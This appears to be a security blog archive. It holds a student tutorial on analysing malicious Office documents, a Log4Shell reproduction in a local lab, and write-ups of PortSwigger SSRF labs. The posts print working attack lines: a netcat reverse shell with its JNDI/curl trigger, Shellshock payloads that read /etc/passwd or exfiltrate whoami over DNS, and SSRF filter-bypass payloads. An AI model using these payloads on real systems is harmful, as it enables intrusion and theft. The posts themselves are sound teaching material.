Introduction to Malicious Document Analysis

This article is a part of our program, #re:educate where we empowering cybersecurity students and beginners to share their understanding about anything related to offensive security. For more info, refer to this link RE:HACK - #re:educate

Author: KH Lai
University: UOW Malaysia KDU

Following are the sections which will be discussed by KH Lai in his article:

1. Introduction to Malicious Document Analysis

2. Document Analysis Methodology

3. Malware Sample

4. Maldoc Analysis Tools

5. Maldoc Analysis with VirusTotal

6. Analyse Maldocs Manually

7. References

Introduction to Malicious Document Analysis

Maldocs

Malicious documents or “Maldocs” as the industry calls it, are typically benign-looking Microsoft Office documents that adversaries have embedded malicious code into them to either try to gain access or manipulate the victim’s system and in some cases, trick victims into giving away credentials through phishing attacks. The creator of these Maldocs can embed executables (.exe) or malicious codes into Microsoft Office documents such as (.pdf), (.docx), (.docm), (.xls), etc. Microsoft Office documents have various features that can be abused by adversaries to embed malicious code and objects into it that acts as a catalyst for the malware which would not raise suspicion if it were to be presented to a non-tech savvy and non-aware person. In the next section, we will go through some of the Microsoft Office document formats which are important in Maldoc analysis.

Macros

Macros are a compilation of commands that are used to automate tasks within Microsoft Office documents. Macros are Visual Basic Applications (VBA) sub-procedures that wrap the actual VBA codes and execute them. Documents that carry these macros are called Macro-Enabled documents. According to Microsoft, Macros are a powerful way to automate common tasks in Microsoft Office and can make people become more productive. As good as it sounds, it is also a dangerous component to have. Adversaries can either modify the properties of an existing element (e.g cell) of an Excel spreadsheet document or create a new element (e.g button) and modify its properties to specify the name of the sub-procedure to be performed when interacted. The name of these sub-procedures, when given a special macro name that starts with “Auto” , will be treated as automatic macros by Microsoft Office. Automatic macros as it sounds are run automatically upon opening the document. That is why they are dangerous. There are limited “Auto” names that can be used and they are as follow:

Macro Name	Description
AutoExec	This macro executes when the program starts or a global template is being loaded
AutoNew	This macro executes when a new document is created
AutoOpen	This macro executes when an existing document is opened
AutoClose	This macro executes when a document is closed
AutoExit	This macro executes when the program is closed or a global template is unloaded

OLE

OLE which is short for Object Linking and Embedding is a mechanism in Microsoft Office that allows users to link different types of objects together. For example, linking an excel sheet into a word document. These objects are rendered by different components of Microsoft Office but linked and displayed in a single document. This is what they call compound documents which consist of different types of objects. Documents that support the OLE format often have the capability to have macros embedded within them. File extensions with this format are usually (.doc), (.ppt), (.xls), etc. Normally, OLE documents typically indicate that it can execute macros. There are 2 versions of OLE, which are OLE1 and OLE2.

OLE1 relies on DDE protocol which stands for Dynamic Data Exchange. It is one of the inter-process communication (IPC) mechanisms supported by Windows. DDE is text-based. It works the same way as the clipboard does. It pulls text from other documents and displays it. They further extend the DDE protocol into OLE1 to support more types of objects by using binary format. There is a function in the DDE protocol which gets abused the most, which is the “DDEAUTO” field that does automatic data exchange. This dangerous function is actually an undocumented feature of the DDE protocol that the adversaries have been leveraging to execute Powershell scripts from remote sources.

OLE2 works on top of Windows COM which is another IPC mechanism on Windows that is widely used even on the latest Windows version. The way COM works is it has a server-client communication where the COM server serves a number of methods/functions exposed by its Interface Description Language (IDL) and the COM client has to call the correct COM server which can be identified by its UUID and then get the pointer to its virtual table which has the pointer to its methods and then call the target methods.

OOXML

OOXML stands for Office Open XML is a zipped format that is used for representing Word documents, Excel spreadsheets, PowerPoint documents, etc. Documents that use this format usually have the extension of (.docx), (.xlsx), (.pptx), etc. These files can usually be unzipped and it does not support macros unless the file extensions end with (.docm), (.xlsm), (.pptm), etc. If it is, then it is an indicator that the files are macro-enabled. OOXML files once unzipped, must contain a [Content_Types.xml] that is found at the root of the package. This file contains a list of all of the content types of the components in the package. Moreover, every OOXML package also contains a relationship component that defines the relationships between other parts and to external resources. This separates the relationships from content and makes it easy to change relationships without changing the sources that reference targets. These relationship files are typically named as (.rels).

There are different types of file formats that Microsoft Office supports. These are some of the notable ones:

Microsoft Word

Extensions	Name of File Format	Description
.doc	Word 97-2003 Document	Binary file format for Word 97-2003
.docx	Word Document	The default XML file format for Word
.docm	Word Macro-Enabled Document	The XML-based and macro-enabled file format for Word. Also stores Visual Basic for Applications (VBA) macro code
.dot	Word 97-2003 Template	Template for Word 97-2003
.dotx	Word Template	Template for creating recent versions of Word. Also does not contain macros
.dotm	Word Macro-Enabled Template	Template for creating recent versions of Word. Contains macros
.xml	Word XML Document	The XML file format supported in Word _Note_: The versions 2003 of .xml word files are different from newer versions

Microsoft Excel

Extensions	Name of File Format	Description
.xls	Excel 97-Excel 2003 Workbook	Binary file format for Excel 97- 2003
.xlsx	Excel Workbook	The default XML-based file format for Excel. Does not store VBA code and macros sheets
.xlsx	Strict Open XML Spreadsheet	An ISO strict version of the Excel Workbook file format
.xlsm	Excel Macro-Enabled Workbook	XML-based and macro-enabled file format for Excel. Stores VBA code and macro sheets
.csv	CSV (MS-DOS/Macintosh)	Saves a workbook as a comma-delimited text file for use on the MS-DOS/Macintosh operating system
.xml	XML Data	XML Data format. _Note_: XML spreadsheet 2003 file formats are different from others
.dif	Data Interchange Format	Saves only the active sheet

Microsoft Powerpoint

Extensions	Name of File Format	Description
.ppt	PowerPoint 97-2003 Presentation	The default PowerPoint 97 to Office PowerPoint 2003 format
.pptx	PowerPoint Presentation	The default PowerPoint XML-based file format
.pptx	Strict Open XML Presentation	An ISO strict version of the PowerPoint Presentation file format
.pptm	PowerPoint Macro-Enabled Presentation	A presentation that contains VBA code
.pot	PowerPoint 97-2003 Template	A template for PowerPoint 97 to Office PowerPoint 2003 presentations
.potx	PowerPoint Template	A template for creating new PowerPoint presentations
.potm	PowerPoint Macro-Enabled Template	A template for creating new PowerPoint presentations that contains macros
.pps	PowerPoint 97-2003 show	Presentation slide show
.ppsx	PowerPoint Show	Presentation slide show
.ppsm	PowerPoint Macro-Enabled Show	Slideshow which contains macros
.xml	PowerPoint XML Presentation	The XML format that is supported in PowerPoint

Document-based Malware Analysis Methodology

The general approach to document analysis are as follows:

• Analyse documents to find suspicious components. For example, suspicious file extensions, suspicious scripts and functions, or any embedded components.

  • Identify the file format of the malicious document and plan the appropriate tools to use for that case.

• Locate the embedded components such as macros, scripts, shellcodes, objects, etc.

• Extract the malicious component/payload from the inspecting file

• Oftentimes, malware authors will obfuscate the malware/payload to decrease the chances to get detected. If so, then it is necessary to deobfuscate them to examine it.

• Understand the malware to see what it is intended to do and what is the next stage of the malware.

Malware Sample

In this article, we will be using two malware samples which we obtained from two different places. List of malware samples is listed as below:

Hash of Maldoc:

MD5 - fb5ed444ddc37d748639f624397cff2a

SHA1 - 3c1a4c0744203d2d08a23f4a9de10a1b593e7763

SHA256 - 0ff0692939044528e396512689cbb6ccee6d4ef14712b27c1efd832a00e24818

Additional Information

Obtained From: https://github.com/jstrosch/malware-samples/blob/master/malware_analysis_exercises/2021/February/samples.zip

Hash of Maldoc:

MD5 - 26ca42bf5845cefe41189add76de5a3c

SHA1 - 706301fc19042ffcab697775c30fe7dd9db4c5a6

SHA256 - 27a9cc271bc3e1ad5304e6123d8c21078f6bf19824717975288deae932fc76fc

Additional Information

From: Wargames MY 2021

Maldoc Analysis Tools

There are many useful document analysis tools out there for us to use. Here is a compilation of useful tools.

Source: https://zeltser.com/analyzing-malicious-documents/

Maldoc Analysis With VirusTotal

From the downloaded file, we extracted the malware sample and it is a .bin file.
fb5ed444ddc37d748639f624397cff2a.bin

One of the fastest ways to get information from a Maldoc is by uploading it to Virustotal. We will upload our malware sample to VirusTotal to obtain some information.

We can see that Virustotal helps us detect the file type of the malware and it tells us that it is a Microsoft Excel spreadsheet file. We can also get some other information like connected domains, IP addresses and possible URLs embedded within the maldoc.

To provide another example, we can use a Maldoc obtained from Wargames MY 2021. There was a Maldoc in the form of a Microsoft Word document that contained malware. We can try uploading the file to VirusTotal to see what information we can get from it.

SHA256 Hash of file:
27a9cc271bc3e1ad5304e6123d8c21078f6bf19824717975288deae932fc76fc

Based on the image above, we can see that it detects embedded URLs within the file which contains a Dropper Site and a Malware executable.

Analyse Maldocs Manually

Another way to analyse malicious documents is to do it manually using open source tools. Instead of uploading to a free malware analysis website such as the VirusTotal, we can obtain even more details of the malware by analysing it manually. All the following tools and commands are performed on Linux-based operating system dubbed as the Parrot OS.

Step 1: Analysing Maldoc for suspicious components

We will be analysing the Maldoc which can be obtained here.

Hash of Maldoc:

MD5 - fb5ed444ddc37d748639f624397cff2a

First and foremost, let’s start by using the file command to check what type of file we are looking at.

It is stated that it was originally a Microsoft Excel spreadsheet. As shown previously when we uploaded it to VirusTotal, it was flagged as malicious, therefore we can be sure that it may contain some form of macro malware. The first thing that we can do is use tools to inspect macros hidden within the file.

In this demonstration, we will be using oletools which can be obtained from here. Oletools is a package of python tools used to analyse Microsoft OLE files. The package consists of many different python tools that can be used for different purposes. We will first be using mraptor which comes together with oletools. mraptor or “MacroRaptor” is a python script which parses OLE and XML files to detect malicious macros. Let’s start off by using mraptor because it can quickly output any results.

It found 0 macros. Maybe mraptor is not powerful enough. We can try another tool which is olevba to get more information. olevba is another python script that parses OLE and XML files to extract Microsoft Office macros and displays them in cleartext. Not only that, it is also capable of deobfuscating and analysing malicious macros if present. We will start by using olevba with the -a argument to display the analysis results of the output.

We got an output of a few things. Let’s get into it and explain each one.AutoExec is a macro where it executes when the file is opened. This is very dangerous whereas unaware people would open a file that is sent to them unbeknownst to them that it will automatically run an executable file, commonly (.exe) malwares that may attempt to gain access to the victim’s machine. As seen from the screenshot above, the tool detected that it has some form of executable file embedded within it. Moreover, it also detected hex-encoded strings which tells us that there may be some obfuscated content inside. It also found malicious macros. All of the detected components are flagged as suspicious.

Step 2: Locate suspicious components

Let’s dig deeper and look into the file for macros. By using the following command with the -c argument, we can output the list of all available macros inside the file.

We found that there are a total of 9 spreadsheets in this Excel file whereas 6 of them are Macros and are hidden, and 3 are visible to the users. The first 2 sheets really look suspicious.

• SOCWNEScLLxkLhtJ

• OHqYbvYcqmWjJJjs

There were many functions embedded within the file that links to the first sheet SOCWNEScLLxkLhtJ, and all of the output seems obfuscated. Looking back at the metadata as shown in the malware sample which can be obtained by using exiftool which can be obtained here. exiftool is a script that runs a set of Perl modules that allows us to read/write metadata from a given file. It tells us that the file is password protected which means that it is encrypted. We have to find a way to decrypt it. Based on the author’s post, something called “VelvetSweatshop” was mentioned. We will explain and find out what exactly it is.

VelvetSweatshop is a default encryption password used by Microsoft Excel spreadsheets. So why is this a threat? In normal circumstances, when a sender wants to protect an Excel file, symmetric encryption will be used. To open the file, the receiver is required to input that particular password. To provide a scenario, a malicious actor would send an encrypted file to a victim and attach the password inside the phishing email. The victim will then be required to use the provided password to open the file, once the file is opened, embedded components such as macros and scripts would then run, thus compromising the victim’s machine. The reason why attackers send encrypted files is to evade and bypass the average detection systems.

This is where the VelvetSweatshop default password comes into play. If an encrypted excel file were sent to a victim. Microsoft Excel will first use the default password to decrypt the file. If the encrypted file is using the default password, Excel will open the file without generating any warnings or dialogs. If it is not, then excel will prompt the user for a password. This is an issue because, if the attacker uses the default password to encrypt the file, then Excel will automatically decrypt the file and open the file whilst running any malicious macros and scripts embedded within the file.

Additional Note:

There is another variant to this default password technique which affects PowerPoint files. According to Binary Document Write Protection Method 3 from Microsoft, it is stated that binary documents that are in the file format of (.ppt) must store write protection passwords in the file in plaintext. When a binary document uses this method, it should NOT be encrypted with the following encryption:

• ECMA-376 encryption

• CryptoAPI RC4 encryption

• RC4 encryption

• XOR obfuscation

When a user did not supply an encryption password whilst the document is encrypted, the default password must be the following:

\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31

Note that the hexadecimal value of which is equal to an ASCII string /01Hannes Ruescher/01 was not tested at the time of writing. It may or may not be working as it is stated on the Microsoft documentation.

Step 3: Extract Malicious Components

Let’s deobfuscate the file using the default password to see what can be obtained.

Based on the output, we can see many suspicious components within the maldoc.

Now we have even more information about the maldoc. There are many components here, first of all, it detected multiple functions like ShellExecute and Shell32 which can execute malicious payload. Also there is URLDownloadToFile which can download files from a given link. Most importantly, it found 5 IOCs. IOC which stands for Indicators of Compromise is a term used in Digital Forensics and Incident Response (DFIR) that indicates the activities of a specific threat or in this case is a malware and it can be further utilized for making a threat attribution. . Getting back to the output, it found some URLs which we can assume that it is where the malware is hosted. It also found two executables.

Step 4: Understanding The Malware

The main part of the malware is shown as above. How this is intended to work is that when the Excel spreadsheet is opened, it will create a directory then it will download an executable file from a URL and will run the executable file (.exe) using a shell.

References

1. https://zeltser.com/analyzing-malicious-documents/
2. https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/macro-malware
3. https://docs.microsoft.com/en-us/office/vba/word/concepts/customizing-word/auto-macros
4. http://officeopenxml.com/anatomyofOOXML.php
5. https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
6. https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5
7. https://github.com/jstrosch/malware-samples/blob/master/malware_analysis_exercises/2021/February/samples.zip
8. https://github.com/decalage2/oletools
9. https://www.mimecast.com/blog/velvetsweatshop-microsoft-excel-spreadsheet-encryption-rises-again-to-deliver-limerat-malware/

Log4Shell: Apache log4j2 Remote Code Execution Vulnerability (CVE-2021-44228)

As for now, we believe that everyone is now aware with the new 0day named Log4Shell. It was first mentioned by p0rz9 in Twitter. This vulnerability is caused by the Apache log4j2; Java logging libraries, interprets malicious user input which generally will be logged in the log4j2 logger and subsequently execute arbitrary Java code.

Almost every known software and products are affected with this vulnerability and immediate action to mitigate, monitor and patch Apache log4j2 should be taken.

One of our wizard attempted to see how serious or easy to reproduce the attack, and surprisingly, it is really easy and the impact is disastrous.

Creating the vulnerable environment

Luckily for everyone, there’s already a docker version of a vulnerable application that you can test on. This can be grabbed from here:
https://github.com/christophetd/log4shell-vulnerable-app

This vulnerable application uses Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181. A good example to see how the attack works against this Apache log4j2.

To run it, simply run the following code:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Note: Our vulnerable application run on 192.168.1.12

The malicious server

The first step, we need to run a malicious LDAP server. For this purpose, we used JNDIExploit created by feihong-cs.

Download the file from there and unzip the file:

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip

Run the malicious LDAP server:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-attacker-ip -p 8888

Note: Our malicious LDAP server run on 192.168.1.99

The exploit

While the LDAP server was running, next we crafted the payload that we want to execute.
For this experiment, we decided to use a reverse Netcat connection:

nc 192.168.1.99 1337 -e /bin/sh

To exploit, the payload needs to be Base64 encoded and included in the request as the following:

${jndi:ldap://your-attacker-ip:1389/Basic/Command/Base64/base64-encoded-payload}

Thus, we encoded our payload:

echo 'nc 192.168.1.99 1337 -e /bin/sh' | base64 
bmMgMTkyLjE2OC4xLjk5IDEzMzcgLWUgL2Jpbi9zaAo=

Then on the other terminal window, we listened on the 1337 port awaiting the payload to be executed by the vulnerable application host.

nc -nlvp 1337

We sent the full request to the vulnerable application via curl as the following:

curl 192.168.1.12:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.99:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjk5IDEzMzcgLWUgL2Jpbi9zaAo=}'

The log4j2 received the request and logged it:

Then, the payload requested a new HTTP request embedded with the exploit we crafted:

Reverse shell was achieved:

Further test

From our experience performing penetration test especially on big organisations, most of them will rely on Web Application Firewall (WAF) or any security devices to immediately protect their network from this kind of attack. Generally, the prevention is based on deny-listing approaches which most of the times, can be bypassed.

We noticed that Wireghoul and Rezn0k experimenting with potential bypasses and sharing the results in their Twitter feed. We tried one of the bypasses and can confirm it worked.

Other notes

There are multiple ways to identify if the application is vulnerable to this attack such as:

• Using a DNS logger (best to setup your own)such as http://www.dnslog.cn/

• Using Canary Token

• Using Burp Suite ActiveScan++ extender plugin

• Maybe soon can be tested via Nuclei

  too https://github.com/projectdiscovery/nuclei-templates/pull/3319

• Updated: Nuclei's template

Reference(s):

1. LunaSec - Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package

2. Wireghoul’s tweet about alternative of exploitation

3. Rezn0k’s tweet about the bypasses

4. 80vul’s tweet about mitigation option

This is the final part of the “Solving PortSwigger SSRF Labs” series. The previous parts of this series can be found here:

• Part 1
• Part 2

Lab 5 - SSRF with filter bypass via open redirection vulnerability

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

Solution:
To complete the challenge, the task is still the same; delete the user carlos through admin interface at http://192.168.0.12:8080/admin by exploiting the SSRF.
For Lab 4, the description mentions that we need to find an open redirect in the application. Then, utilising that attack,it can be used together to exploit the SSRF exist in the “Check stock” feature.

First, we crawled as much as pages and functionalities exist in the e-Store website. All of them, generally will be captured in Burp Suite Proxy and Target tabs.

One particular request attracted our eyes, /product/nextProduct?currentProductId=2&path=/product?productId=3. We confirmed that the path parameter can be used for redirecting our request to a different target site or page.

As we already briefed from the description that "the admin interface at http://192.168.0.12:8080/admin", therefore it was easier to complete this challenge.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Lab 6 - Blind SSRF with out-of-band detection

URL: https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

Solution
The description mentions that we need to use Burp Collaborator and point the payload in the Referer header. This action will let the analytics software used by the application to load our Burp Collaborator and subsequently performing the SSRF.

We opened our Burp Collaborator window and copy our Burp Collaborator payload. We enabled the proxy interception in our Burp Suite Proxy tab and then visited a product page in the e-Store website.

While the Proxy intercepting the request, we added the Burp Collaborator payload copied just now in the Referer header and forward the request.

We noticed that the payload was successfully fetched by the back-end (analytics software) and subsequently solving the lab.

Lab 7 - Blind SSRF with Shellshock exploitation

URL: https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

Solution
Few notes can be noted from the description given.

• Blind SSRF via Referer header on product page

• Internal server at 192.168.0.x:8080

• The internal server is vulnerable to a Shellshock

• To complete the challenge, we need to exfiltrate OS user through Burp Collaborator

From the notes above, we can already know what will be the steps that we need to do. The first two points have been covered in Lab 6 (Blind SSRF on Referer header) and Lab 2 (internal port scanning). But, what is a Shellshock?

Shellshock or Bashdoor is a vulnerability found in Unix Bash shell which was first disclosed on 24 September 2014. This vulnerability caused by lack of sanitisation by Bash before it being executed. Manipulating it, allows an attacker to send commands to the server via HTTP requests and get them executed by the web server operating system.

An example of how Shellshock can be exploited as follow:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

Back to our Lab 7. We first captured the request when accessing the product page and sent it to the Repeater tab.

In the Repeater tab, we first crafted our Shellshock payload and wanted the result to be captured by our Burp Collaborator server. We used dig command to issue a request against our Burp Collaborator URL and appended the Unix command to retrieve the OS user; whoami in front of it. The following payload was used and inserted on the User-Agent header:

() { :; }; /usr/bin/dig
$(whoami).ntk8ccf4nkboxogvg5omf0cb62ct0i.burpcollaborator.net

The above payload needed as the User-Agent value as we wanted the payload to be processed by the backend which was vulnerable to the Shellshock bug. Combining with a SSRF vulnerability that existed on the Referer header, this Shellshock payload can be passed to the backend through the e-Store application.

Next, we sent this request to the Intruder tab, so we can bruteforce the correct internal server address as we did in Lab 2.

In the Intruder tab, we set the attacking point on the Referer header to http://192.168.0.§0§:8080. Using the same setting as in Lab 2, we ran the attack while observing our Burp Collaborator window.

In the Burp Collaborator window, we were able to notice few DNS interactions made by the backend and leaked the OS user on the URL.

All SSRF Labs are now solved. Hope everyone can learn something from our solutions.

Reference(s):

1. Github - CVE-2014-6271

2. Netsparker - Shellshock Bash Remote Code Execution Vulnerability Explained and How to Detect It

This is a continuation of our series in solving the PortSwigger SSRF labs. The first part of this series can be found here

Lab 3 - SSRF with blacklist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

Solution:
The task is similar to the first and second lab. Find SSRF and delete the user carlos. However, for Lab 3, “The developer has deployed two weak anti-SSRF defenses that you will need to bypass”. Thus, a bypass is required to solve the challenge.

We captured the request where the “Stock feature” was triggered and sent it to the Burp Suite Repeater tab.

An attempt to access the admin interface using the same approach as in Lab 1 resulted in a 400 error.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://localhost/admin

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 51

"External stock check blocked for security reasons"

We tried the next payload in order to identify what kind of defenses were enabled:

http://localhos/ -> 500 Internal Server Error
"Could not connect to external stock check service"

http://localhost/ -> 400 Bad Request
"External stock check blocked for security reasons"

http://0.0.0.0/ -> 400 bad Request
"Invalid external stock check url 'Invalid IPV4 address'"

From the above test cases, we confirmed that localhost string was blocked and IP-based URL can be used. Thus, the following was used to bypass the defenses:

POST /product/stock HTTP/1.1
Host: xx.web-security-academy.net
...

stockApi=http://127.1/

However, when attempted to access the /admin path, the application again blocked our request. This indicated that the path itself may be deny-listed too. We attempted to access by randomising the admin characters and able to bypass it using /Admin.

From here, it was easy. The lab was solved with the following final payload:

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://127.1/Admin/delete?username=carlos

Lab 4 - SSRF with whitelist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Solution:
For Lab 4, another type of defense has been applied to mitigate SSRF. To solve the challenge, a bypass is required.

Same approach was taken in this lab where the we sent the vulnerable request to the Burp Suite Repeater tab for further tests.

The following payloads were attempted to identify how the anti-SSRF worked.

http://localhost
"External stock check host must be stock.weliketoshop.net"

http://127.1
"External stock check host must be stock.weliketoshop.net"

Both attempts showed the same error which require the supplied value to be coming from stock.weliketoshop.net host. With this information, we attempted again using the following payloads to identify patterns that can be used for bypassing the check.

http://localhost?stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://localhost%0astock.weliketoshop.net
"Invalid external stock check url 'Illegal character in authority at index 7: http://localhost
stock.weliketoshop.net'"

http://localhost%23stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://[email protected]
"Could not connect to external stock check service"

From the tests, @ was shown a different error. The reason why it seems being accepted here probably due to the application assuming the user was attempting to login to http://stock.weliketoshop.net as the username localhost. Thus making this request was valid.

With this one potential bypass, we focused on utilising the @ sign to complete the lab. We were required to find a way to ensure the application accepts the URL as http://localhost and at the same time need to append @stock.weliketoshop.net to match with the allow-listed host.

The following attempts were made:

http://[email protected] - Failed

http://localhost%[email protected] - URLencoded the ?, but still failed.

http://localhost%[email protected] - Success. By URLencoded the ? character twice, we were able to bypass it.

With the identified bypass payload, we successfully completed the lab with the following final request which deleted the user carlos

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

http://localhost%[email protected]/admin/delete?username=carlos

Reference(s):

1. StackOverflow - How to automatically login to the site using url parameters?

The final part of this series can be found here Part 3

Through our RE:HACK - #re:educate, 0xzim from Universiti Teknologi MARA Shah Alam shared with us about an introduction to SSRF based on what he understood.

In this post, one of our wizard decided to solve all PortSwigger Web Academy SSRF labs and share the writeups with everyone. This topic will be made in three parts.

Lab 1 - Basic SSRF against the local server

URL: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

Solution:
Once we opened the lab’s URL, we were presented with an e-Store website.

From the lab’s description, we identified few hints:

• “…lab has a stock feature…”

• “…change the stock URL…”
  and our task is to locate this endpoint and delete the user carlos via admin's interface.

Clicking on one of the product available in the e-Store, we noticed the “Check stock” feature at the bottom of the page.
By intercepting the request using Burp Suite, we observed the request made when the “Check stock” button was clicked.
Following was the captured request:

POST /product/stock HTTP/1.1 
Host: xxx.web-security-academy.net
Connection: keep-alive 
Content-Length: 107
...

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

From here, it was obvious that the stockApi parameter was accepting arbitrary URL and returned the content on the page.

Next, we attempted to replace the stockApi value with http://localhost/admin as described in the lab’s description. The result showed that we were able to get access to the admin interface, indicating the SSRF attack was a success.

To complete the challenge, we need to delete the user carlos from the application. To do that, all we need to do is to perform a delete action against this user through the following request.
URL/admin/delete?username=carlos. We replaced the stockApi value with the delete request above and the result showed that the request was a success.

Lab 2 - Basic SSRF against another back-end system

URL: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Solution:
From the description, we noted that the vulnerable endpoint was still the same as Lab 1, stockApi. However, to solve this lab, we were required to perform internal network scan against 192.168.0.X segment on port 8080. Once discovered, similar to Lab 1, we were required to delete the user carlos.

We visited the e-Store again and proceed to our Burp Suite Repeater tab once identified the vulnerable endpoint.

As we were required to perform the internal network scan, we sent the request to Burp Suite Intruder tab and set the attacking point on the stockApi value as the following:

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://192.168.0.§0§:8080

We set the “Attack type” to Sniper. On the Intruder’s Payloads tab, we set the “Payload type” to Numbers. We then set the “Payload Options” - Number range from 0-255 as that’s what generally usable IP addresses exist in a /24 segment.

The “Payload Encoding” was unticked to ensure the request will not be URL-encoded during the attack.

Once everything was set, we run the attack.

From the result, we noticed there was only 1 result with a “404 Not Found” status, which was http://192.168.0.243:8080

We sent this request to our Burp Suite Repeater tab and replay it but this time with /admin path included.

It was confirmed as the right IP address as we were able to access the admin interface from it. Next, similar to Lab 1, we deleted the user carlos and completed the challenge.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
. . . 

stockApi=http://192.168.0.243:8080/admin/delete?username=carlos

References:

1. Subnet Cheat Sheet – 24 Subnet Mask, 30, 26, 27, 29, and other IP Address CIDR Network References

The second part of this series can be found here Part 1